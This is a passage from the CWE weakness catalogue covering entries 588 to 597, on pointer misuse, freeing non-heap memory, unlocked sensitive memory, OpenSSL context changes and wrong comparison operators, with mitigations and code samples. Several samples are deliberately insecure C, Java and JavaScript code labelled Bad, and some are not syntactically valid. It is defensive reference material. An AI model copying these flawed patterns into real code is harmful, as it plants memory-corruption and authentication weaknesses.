The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	344	Use of Invariant Value in Dynamically Changing Context	849
ChildOf	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1582

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	2328

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Language : Assembly *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If one executes code at a known location, an attacker might be able to inject code there beforehand.*	

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart Reduce Maintainability Reduce Reliability *If the code is ported to another platform or environment, the pointer is likely to be invalid and cause a crash.*	
Confidentiality Integrity	Read Memory Modify Memory *The data at a known pointer location can be easily read or influenced by an attacker.*	

Potential Mitigations

Phase: Implementation

Never set a pointer to a fixed address.

Demonstrative Examples

Example 1:

This code assumes a particular function will always be found at a particular address. It assigns a pointer to that address and calls the function.

Example Language: C *(Bad)*

```
int (*pt2Function) (float, char, char)=0x08040000;
int result2 = (*pt2Function) (12, 'a', 'b');
// Here we can inject code to execute.
```

The same function may not always be found at the same memory address. This could lead to a crash, or an attacker may alter the memory at the expected address, leading to arbitrary code execution.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2342
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2374
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2456
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	INT36-C	Imprecise	Converting a pointer to integer or integer to pointer
Software Fault Patterns	SFP1		Glitch in computation

CWE-588: Attempt to Access Child of a Non-structure Pointer

Weakness ID : 588

Structure : Simple
Abstraction : Variant

Description

Casting a non-structure type to a structure type and accessing a field can lead to memory access errors or data corruption.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	Ⓒ	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1582
ChildOf	Ⓒ	704	Incorrect Type Conversion or Cast	1538

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory *Adjacent variables in memory may be corrupted by assignments performed on fields after the cast.*	
Availability	DoS: Crash, Exit, or Restart *Execution may end due to a memory access error.*	

Potential Mitigations

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Implementation

Review of type casting operations can identify locations where incompatible types are cast.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
struct foo
{
  int i;
}
...
int main(int argc, char **argv)
{
  *foo = (struct foo *)main;
  foo->i = 2;
  return foo->i;
}
```

Observed Examples

Reference	Description
CVE-2021-3510	JSON decoder accesses a C union using an invalid offset to an object *https://www.cve.org/CVERecord?id=CVE-2021-3510*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	971	SFP Secondary Cluster: Faulty Pointer Use	888	2405
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2545

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP7		Faulty Pointer Use

CWE-589: Call to Non-ubiquitous API

Weakness ID : 589
Structure : Simple
Abstraction : Variant

Description

The product uses an API function that does not exist on all versions of the target platform. This could cause portability problems or inconsistencies that allow denial of service or other consequences.

Extended Description

Some functions that offer security features supported by the OS are not available on all versions of the OS in common use. Likewise, functions are often deprecated or made obsolete for security reasons and should not be used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	474	Use of Function with Inconsistent Implementations	1128

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Always test your code on any platform on which it is targeted to run on.

Phase: Testing

Test your code on the newest and oldest platform on which it is targeted to run on.

Phase: Testing

Develop a system to test for API functions that are not portable.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	850	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 7 - Methods (MET)	844	2364
MemberOf	C	858	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 15 - Serialization (SER)	844	2368
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2420
MemberOf	C	1140	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET)	1133	2447
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MET02-J		Do not use deprecated or obsolete classes or methods
The CERT Oracle Secure Coding Standard for Java (2011)	SER00-J		Maintain serialization compatibility during class evolution
Software Fault Patterns	SFP3		Use of an improper API

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
96	Block Access to Libraries

CWE-590: Free of Memory not on the Heap

Weakness ID : 590
Structure : Simple
Abstraction : Variant

Description

The product calls free() on a pointer to memory that was not allocated using associated heap allocation functions such as malloc(), calloc(), or realloc().

Extended Description

When free() is called on an invalid pointer, the program's memory management data structures may become corrupted. This corruption can cause the program to crash or, in some circumstances, an attacker may be able to cause free() to operate on controllable memory locations to modify critical program variables or execute code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	762	Mismatched Memory Management Routines	1596
CanPrecede	B	123	Write-what-where Condition	323

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory *There is the potential for arbitrary code execution with privileges of the vulnerable program via a "write, what where" primitive. If pointers to memory which hold user information are freed, a malicious user will be able to write 4 bytes anywhere in memory.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Only free pointers that you have called malloc on previously. This is the recommended solution. Keep track of which pointers point at the beginning of valid chunks and free them only once.

Phase: Implementation

Before freeing a pointer, the programmer should make sure that the pointer was previously allocated on the heap and that the memory belongs to the programmer. Freeing an unallocated pointer will cause undefined behavior in the program.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, glibc in Linux provides protection against free of invalid pointers.

Phase: Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Phase: Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Demonstrative Examples

Example 1:

In this example, an array of record_t structs, bar, is allocated automatically on the stack as a local variable and the programmer attempts to call free() on the array. The consequences will vary based on the implementation of free(), but it will not succeed in deallocating the memory.

Example Language: C *(Bad)*

```
void foo(){
  record_t bar[MAX_SIZE];
  /* do something interesting with bar */
  ...
  free(bar);
}
```

This example shows the array allocated globally, as part of the data segment of memory and the programmer attempts to call free() on the array.

Example Language: C *(Bad)*

```
record_t bar[MAX_SIZE]; //Global var
void foo(){
  /* do something interesting with bar */
  ...
  free(bar);
}
```

Instead, if the programmer wanted to dynamically manage the memory, malloc() or calloc() should have been used.

Example Language: *(Good)*

```
void foo(){
  record_t *bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
  /* do something interesting with bar */
  ...
  free(bar);
}
```

Additionally, you can pass global variables to free() when they are pointers to dynamically allocated memory.

Example Language: *(Good)*

```
record_t *bar; //Global var
void foo(){
  bar = (record_t*)malloc(MAX_SIZE*sizeof(record_t));
  /* do something interesting with bar */
  ...
  free(bar);
}
```

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2345
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2376
MemberOf	C	969	SFP Secondary Cluster: Faulty Memory Release	888	2404
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	2458
MemberOf	C	1172	SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN)	1154	2464
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2525

Notes

Other

In C++, if the new operator was used to allocate the memory, it may be allocated with the malloc(), calloc() or realloc() family of functions in the implementation. Someone aware of this behavior might choose to map this problem to CWE-590 or to its parent, CWE-762, depending on their perspective.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM34-C	Exact	Only free memory allocated dynamically
CERT C Secure Coding	WIN30-C	Imprecise	Properly pair allocation and deallocation functions
Software Fault Patterns	SFP12		Faulty Memory Release

References

[REF-480]"Valgrind". < http://valgrind.org/ >.

CWE-591: Sensitive Data Storage in Improperly Locked Memory

Weakness ID : 591
Structure : Simple
Abstraction : Variant

Description

The product stores sensitive data in memory that is not locked, or that has been incorrectly locked, which might cause the memory to be written to swap files on disk by the virtual memory manager. This can make the data more accessible to external actors.

Extended Description

On Windows systems the VirtualLock function can lock a page of memory to ensure that it will remain present in memory and not be swapped to disk. However, on older versions of Windows, such as 95, 98, or Me, the VirtualLock() function is only a stub and provides no protection. On POSIX systems the mlock() call ensures that a page will stay resident in memory but does not guarantee that the page will not appear in the swap. Therefore, it is unsuitable for use as a protection mechanism for sensitive data. Some platforms, in particular Linux, do make the guarantee that the page will not be swapped, but this is non-standard and is not portable. Calls to mlock() also require supervisor privilege. Return values for both of these calls must be checked to ensure that the lock operation was actually successful.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	413	Improper Resource Locking	1003

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Memory *Sensitive data that is written to a swap file may be exposed.*	

Potential Mitigations

Phase: Architecture and Design

Identify data that needs to be protected from swapping and choose platform-appropriate protection mechanisms.

Phase: Implementation

Check return values to ensure locking operations are successful.

Affected Resources

- Memory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	2338
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2345
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2376
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2400
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM06-C		Ensure that sensitive data is not written out to disk
Software Fault Patterns	SFP23		Exposed Data

CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created

Weakness ID : 593
Structure : Simple
Abstraction : Variant

Description

The product modifies the SSL context after connection creation has begun.

Extended Description

If the program modifies the SSL_CTX object after creating SSL objects from it, there is the possibility that older SSL objects created from the original context could all be affected by that change.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1390	Weak Authentication	2267
ChildOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1462

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2424

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *No authentication takes place in this process, bypassing an assumed protection of encryption.*	
Confidentiality	Read Application Data *The encrypted communication between a user and a trusted host may be subject to a sniffing attack.*	

Potential Mitigations

Phase: Architecture and Design

Use a language or a library that provides a cryptography framework at a higher level of abstraction.

Phase: Implementation

Most SSL_CTX functions have SSL counterparts that act on SSL-type objects.

Phase: Implementation

Applications should set up an SSL_CTX completely, before creating SSL objects from it.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
#define CERT "secret.pem"
#define CERT2 "secret2.pem"
int main(){
  SSL_CTX *ctx;
  SSL *ssl;
  init_OpenSSL();
  seed_prng();
  ctx = SSL_CTX_new(SSLv23_method());
  if (SSL_CTX_use_certificate_chain_file(ctx, CERT) != 1)
    int_error("Error loading certificate from file");
  if (SSL_CTX_use_PrivateKey_file(ctx, CERT, SSL_FILETYPE_PEM) != 1)
    int_error("Error loading private key from file");
  if (!(ssl = SSL_new(ctx)))
    int_error("Error creating an SSL context");
  if ( SSL_CTX_set_default_passwd_cb(ctx, "new default password" != 1))
    int_error("Doing something which is dangerous to do anyways");
  if (!(ssl2 = SSL_new(ctx)))
    int_error("Error creating an SSL context");
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	2395
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2519

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
94	Adversary in the Middle (AiTM)

CWE-594: J2EE Framework: Saving Unserializable Objects to Disk

Weakness ID : 594
Structure : Simple
Abstraction : Variant

Description

When the J2EE container attempts to write unserializable objects to disk there is no guarantee that the process will complete successfully.

Extended Description

In heavy load conditions, most J2EE application frameworks flush objects to disk to manage memory requirements of incoming requests. For example, session scoped objects, and even application scoped objects, are written to disk when required. While these application frameworks do the real work of writing objects to disk, they do not enforce that those objects be serializable, thus leaving the web application vulnerable to crashes induced by serialization failure. An attacker may be able to mount a denial of service attack by sending enough requests to the server to force the web application to save objects to disk.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	1076	Insufficient Adherence to Expected Conventions	1916

Weakness Ordinalities

Indirect :

Primary :

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Data represented by unserializable objects can be corrupted.*	
Availability	DoS: Crash, Exit, or Restart *Non-serializability of objects can lead to system crash.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

All objects that become part of session and application scope must implement the java.io.Serializable interface to ensure serializability of containing objects.

Demonstrative Examples

Example 1:

In the following Java example, a Customer Entity JavaBean provides access to customer information in a database for a business application. The Customer Entity JavaBean is used as a session scoped object to return customer information to a Session EJB.

Example Language: Java *(Bad)*

```
@Entity
public class Customer {
  private String id;
  private String firstName;
  private String lastName;
  private Address address;
  public Customer() {
  }
  public Customer(String id, String firstName, String lastName) {...}
  @Id
  public String getCustomerId() {...}
  public void setCustomerId(String id) {...}
  public String getFirstName() {...}
  public void setFirstName(String firstName) {...}
  public String getLastName() {...}
  public void setLastName(String lastName) {...}
  @OneToOne()
  public Address getAddress() {...}
```

```
    public void setAddress(Address address) {...}
}
```

However, the Customer Entity JavaBean is an unserialized object which can cause serialization failure and crash the application when the J2EE container attempts to write the object to the system. Session scoped objects must implement the Serializable interface to ensure that the objects serialize properly.

Example Language: Java *(Good)*

```
public class Customer implements Serializable {...}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2538

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP1		Glitch in computation

CWE-595: Comparison of Object References Instead of Object Contents

Weakness ID : 595
Structure : Simple
Abstraction : Variant

Description

The product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.

Extended Description

For example, in Java, comparing objects using == usually produces deceptive results, since the == operator compares object references rather than values; often, this means that using == for strings is actually comparing the strings' references, not their values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1025	Comparison Using Wrong Factors	1868
ParentOf	V	597	Use of Wrong Operator in String Comparison	1337

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ParentOf	V	597	Use of Wrong Operator in String Comparison	1337

Nature	Type	ID	Name	Page
ParentOf	B	1097	Persistent Storable Data Element without Associated Comparison Control Element	1937

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : JavaScript *(Prevalence = Undetermined)*

Language : PHP *(Prevalence = Undetermined)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *This weakness can lead to erroneous results that can cause unexpected application behaviors.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

In Java, use the equals() method to compare objects instead of the == operator. If using ==, it is important for performance reasons that your objects are created by a static factory, not by a constructor.

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

Example Language: Java *(Bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
  System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language: *(Good)*

```
if (str1.equals(str2)) {
  System.out.println("str1 equals str2");
}
```

Example 2:

In the following Java example, two BankAccount objects are compared in the isSameAccount method using the == operator.

Example Language: Java *(Bad)*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
  return accountA == accountB;
}
```

Using the == operator to compare objects may produce incorrect or deceptive results by comparing object references rather than values. The equals() method should be used to ensure correct results or objects should contain a member variable that uniquely identifies the object.

The following example shows the use of the equals() method to compare the BankAccount objects and the next example uses a class get method to retrieve the bank account number that uniquely identifies the BankAccount object to compare the objects.

Example Language: Java *(Good)*

```
public boolean isSameAccount(BankAccount accountA, BankAccount accountB) {
  return accountA.equals(accountB);
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	844	2363
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	977	SFP Secondary Cluster: Design	888	2407
MemberOf	C	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1133	2445
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1397	Comprehensive Categorization: Comparison	1400	2523

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	EXP02-J		Use the two-argument Arrays.equals() method to compare the contents of arrays
The CERT Oracle Secure Coding Standard for Java (2011)	EXP02-J		Use the two-argument Arrays.equals() method to compare the contents of arrays
The CERT Oracle Secure Coding Standard for Java (2011)	EXP03-J		Do not use the equality operators when comparing values of boxed primitives

References

[REF-954]Mozilla MDN. "Equality comparisons and sameness". < https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness >.2017-11-17.

CWE-597: Use of Wrong Operator in String Comparison

Weakness ID : 597
Structure : Simple
Abstraction : Variant

Description

The product uses the wrong operator when comparing a string, such as using "==" when the .equals() method should be used instead.

Extended Description

In Java, using == or != to compare two strings for equality actually compares two objects for equality rather than their string values for equality. Chances are good that the two references will never be equal. While this weakness often only affects program correctness, if the equality is used for a security decision, the unintended comparison result could be leveraged to affect program security.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	480	Use of Incorrect Operator	1150
ChildOf	V	595	Comparison of Object References Instead of Object Contents	1334

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name	Page
ChildOf	V	595	Comparison of Object References Instead of Object Contents	1334

Common Consequences

Scope	Impact	Likelihood
Other	Other	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Within Java, use .equals() to compare string values. Within JavaScript, use == to compare string values. Within PHP, use == to compare a numeric value to a string value. (PHP converts the string to a number.)

Effectiveness = High

Demonstrative Examples

Example 1:

In the example below, two Java String objects are declared and initialized with the same string values. An if statement is used to determine if the strings are equivalent.

Example Language: Java *(Bad)*

```
String str1 = new String("Hello");
String str2 = new String("Hello");
if (str1 == str2) {
  System.out.println("str1 == str2");
}
```

However, the if statement will not be executed as the strings are compared using the "==" operator. For Java objects, such as String objects, the "==" operator compares object references, not object values. While the two String objects above contain the same string values, they refer to different object references, so the System.out.println statement will not be executed. To compare object values, the previous code could be modified to use the equals method:

Example Language: *(Good)*

```
if (str1.equals(str2)) {
  System.out.println("str1 equals str2");
}
```

Example 2:

In the example below, three JavaScript variables are declared and initialized with the same values. Note that JavaScript will change a value between numeric and string as needed, which is the reason an integer is included with the strings. An if statement is used to determine whether the values are the same.

Example Language: JavaScript *(Bad)*

```
<p id="ieq3s1" type="text">(i === s1) is FALSE</p>
<p id="s4eq3i" type="text">(s4 === i) is FALSE</p>
<p id="s4eq3s1" type="text">(s4 === s1) is FALSE</p>
var i = 65;
var s1 = '65';
var s4 = new String('65');
if (i === s1)
{
  document.getElementById("ieq3s1").innerHTML = "(i === s1) is TRUE";
}
if (s4 === i)
{
  document.getElementById("s4eq3i").innerHTML = "(s4 === i) is TRUE";
}
if (s4 === s1)
{
  document.getElementById("s4eq3s1").innerHTML = "(s4 === s1) is TRUE";
}
```

However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails. The types in the second are int and reference, so this one fails as well. The types in the third are reference and string, so it also fails.

While the variables above contain the same values, they are contained in different types, so the document.getElementById... statement will not be executed in any of the cases.

To compare object values, the previous code is modified and shown below to use the "==" for value comparison so the comparison in this example executes the HTML statement:

Example Language: JavaScript *(Good)*

```
<p id="ieq2s1" type="text">(i == s1) is FALSE</p>
<p id="s4eq2i" type="text">(s4 == i) is FALSE</p>
<p id="s4eq2s1" type="text">(s4 == s1) is FALSE</p>
var i = 65;
var s1 = '65';
var s4 = new String('65');
if (i == s1)
{
  document.getElementById("ieq2s1").innerHTML = "(i == s1) is TRUE";
}
if (s4 == i)
{
  document.getElementById("s4eq2i").innerHTML = "(s4 == i) is TRUE";
}
if (s4 == s1)
{
  document.getElementById("s4eq2s1").innerHTML = "(s4 == s1) is TRUE";
}
```

Example 3:

In the example below, two PHP variables are declared and initialized with the same numbers - one as a string, the other as an integer. Note that PHP will change the string value to a number for a comparison. An if statement is used to determine whether the values are the same.

Example Language: PHP *(Bad)*

```
var $i = 65;
var $s1 = "65";
if ($i === $s1)
{
  echo '($i === $s1) is TRUE'. "\n";
}
else
{
  echo '($i === $s1) is FALSE'. "\n";
}
```

However, the body of the if statement will not be executed, as the "===" compares both the type of the variable AND the value. As the types of the first comparison are number and string, it fails.

While the variables above contain the same values, they are contained in different types, so the TRUE portion of the if statement will not be executed.

To compare object values, the previous code is modified and shown below to use the "==" for value comparison (string converted to number) so the comparison in this example executes the TRUE statement:

Example Language: PHP *(Good)*

```
var $i = 65;
var $s1 = "65";
if ($i == $s1)
{
  echo '($i == $s1) is TRUE'. "\n";
}
else
{
  echo '($i == $s1) is FALSE'. "\n";
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	844	2363
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1133	2445
MemberOf	C	1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2466
MemberOf	C	1397	Comprehensive Categorization: Comparison	1400	2523

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	EXP03-J		Do not use the equality operators when comparing values of boxed primitives
The CERT Oracle Secure Coding Standard for Java (2011)	EXP03-J		Do not use the equality operators when comparing values of boxed primitives
SEI CERT Perl Coding Standard	EXP35-PL	CWE More Specific	Use the correct operator type for comparing values
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-598: Use of GET Request Method With Sensitive Query Strings

Weakness ID : 598
Structure : Simple
Abstraction : Variant

Description

The web application uses the HTTP GET method to process a request and includes sensitive information in the query string of that request.

Extended Description

The query string for the URL could be saved in the browser's history, passed through Referers to other web sites, stored in web logs, or otherwise recorded in other sources. If the query string contains sensitive information such as session identifiers, then attackers can use this information to launch further attacks.

Relationships

